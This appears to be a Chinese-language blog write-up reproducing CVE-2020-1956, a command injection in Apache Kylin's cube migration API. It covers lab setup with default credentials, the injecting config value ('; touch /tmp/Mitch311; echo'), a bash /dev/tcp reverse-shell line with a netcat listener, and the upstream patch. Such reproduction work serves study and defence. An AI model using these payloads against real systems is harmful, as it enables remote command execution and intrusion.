【漏洞复现】CVE-2020-1956
漏洞信息
NVD - CVE-2020-1956
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
背景介绍
Kylin is a high concurrency, high performance and intelligent OLAP engine that provides low-cost and ultimate data analytics experience.
• 主页:https://kylin.apache.org/
• 源码:https://github.com/apache/kylin/
环境搭建
# 拉取镜像
docker pull apachekylin/apache-kylin-standalone:3.0.1
# 运行
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1
# 进入容器
docker exec -it kylin /bin/bash
Kylin Web UI: http://127.0.0.1:7070/kylin/login
默认账号:admin、默认密码:KYLIN
【环境搭建】Apache Kylin 各个版本Docker搭建汇总-CSDN博客
【环境搭建】使用Dockerfile构建容器搭建Kylin特定版本-CSDN博客
漏洞复现
参考:Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析
按照官方文档给出的路径发送 POST Migrate Cube 的报文:
POST /kylin/api/cubes/kylin_streaming_cube/learn_kylin/migrate HTTP/1.1
访问System–>Configuration,修改Server Config配置,添加如下内容:
kylin.tool.auuto-migrate-cube.enabled=true
修改完配置之后,再次发送 POST Migrate Cube 的报文,这次的报错提示为 Source configuration should not be empty.
,这就说明刚才的配置生效了:
在源码的这个路径apache-kylin-3.0.1\server-base\src\main\java\org\apache\kylin\rest\service
下可以找到CubeService.java
,在其中可以找到刚才的报错信息Source configuration should not be empty.
:
可以看到代码中对 srcCfgUri 和 dstCfgUri 进行了非空检查,所以我们继续添加Server Config配置:
kylin.tool.auto-migrate-cube.src-config=/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie
kylin.server.cluster-name=kylin_metadata
kylin.tool.auto-migrate-cube.dest-config=/tmp/kylin.properties kylin_streaming_cube learn_kylin true true true true; touch /tmp/Mitch311; echo
再次发送 POST Migrate Cube 的报文,得到200 OK
:
进入容器查看成功执行了命令touch Mitch311
:
如果想进一步反弹shell的话,只需要把刚才的命令换成如下:
bash -i >& /dev/tcp/<宿主机IP>/<port> 0>&1
在宿主机上使用netcat监听即可反弹shell:
nc -lvvp <port>
修复方案
这个漏洞的补丁代码在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#
可以看出,漏洞点在 CubeService.java
中的 migrateCube()
函数,漏洞原因是使用 String.format()
格式化待执行的系统命令且未做过滤,导致命令内容可被注入,涉及的参数包括 srcCfgUri
、dstCfgUri
、projectName
三个。
漏洞补丁方案对这些参数进行了黑名单过滤:
此外,从4.x.x之后的版本,从/kylin/api入口已经不能修改Server Config配置了。